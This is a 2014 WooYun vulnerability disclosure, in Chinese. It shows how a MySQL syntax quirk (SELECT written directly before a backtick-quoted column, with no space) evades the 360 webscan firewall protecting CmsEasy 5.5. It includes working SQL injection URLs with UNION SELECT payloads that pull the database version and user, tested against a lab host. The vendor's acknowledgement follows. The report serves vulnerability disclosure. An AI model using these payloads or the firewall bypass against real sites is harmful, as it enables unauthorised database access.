当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079654

漏洞标题:mysql一个特性绕过webscan360导致sql完美执行

相关厂商:奇虎360

漏洞作者: menmen519

提交时间:2014-10-16 20:33

修复时间:2015-01-14 20:34

公开时间:2015-01-14 20:34

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-16: 细节已通知厂商并且等待厂商处理中
2014-10-17: 厂商已经确认,细节仅向厂商公开
2014-10-20: 细节向第三方安全合作伙伴开放
2014-12-11: 细节向核心白帽子及相关领域专家公开
2014-12-21: 细节向普通白帽子公开
2014-12-31: 细节向实习白帽子公开
2015-01-14: 细节向公众公开

简要描述:

mysql一个特性绕过webscan360 导致sql完美执行

详细说明:

这里我们就要说一下,最新版本的cmseasy了
我们首先测试一个东西,在mysql中
select `tname`,1,2,3,4 from `table` 这个东西想必大家都会认同,可以执行
那么我们去掉select和`tname`之间的空格,看看这样的语句还能否执行
这里我们用cmseasy的数据库测试一下
SELECT`catid` FROM `cmseasy_archive` WHERE 1

1.png


看到了没有完美执行了
在之前审核cmseasy的时候
第一次union select 1,2,3,4 from `t` 是自动会被webscan360拦截
第二次union select/**/1,2,3,4 from `t` 这个绕过了webscan360成功执行
第三次这个地方被修补了上次绕过webscan360的问题,这里我们再次测试第二次的情况会被拦截,我们不做演示了,那么我们的猜想是否正确
union select`tname`,1,2,3,4 from `t` 这个也应该会成功执行
直接看代码:
archive_act.php:

} elseif (front::get(front::check_type('aid'))){

$this->view->archive = archive::getInstance()->getrow(front::get('aid'));
$this->view->categorys = category::getpositionlink2($this->view->archive['catid']);
$this->view->paylist = pay::getInstance()->getrows('', 50);
$this->view->logisticslist = logistics::getInstance()->getrows('', 50);
$prices = getPrices($this->view->archive['attr2']);
$this->view->archive['attr2'] = $prices['price'];
if (!is_array($this->view->archive))
$this->out('message/error.html');
if ($this->view->archive['checked'] < 1)
exit(lang('未审核!'));
if (!rank::arcget(front::get('aid'), $this->view->usergroupid)) {
$this->out('message/error.html');
}


这里对front::get(front::check_type('aid') 这个进行了处理,故而漏洞已经修复,我们要测是的是webscan360,所以放过这里逻辑,改为:

} elseif (true || front::get(front::check_type('aid'))){

$this->view->archive = archive::getInstance()->getrow(front::get('aid'));
$this->view->categorys = category::getpositionlink2($this->view->archive['catid']);


我们访问url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1

2.png


那么我们访问url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1

3.png


成功绕过!!!!!!!!!

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-10-17 19:35

厂商回复:

感谢您对360网站安全检测服务的支持,已提交业务部门处理。

最新状态:

暂无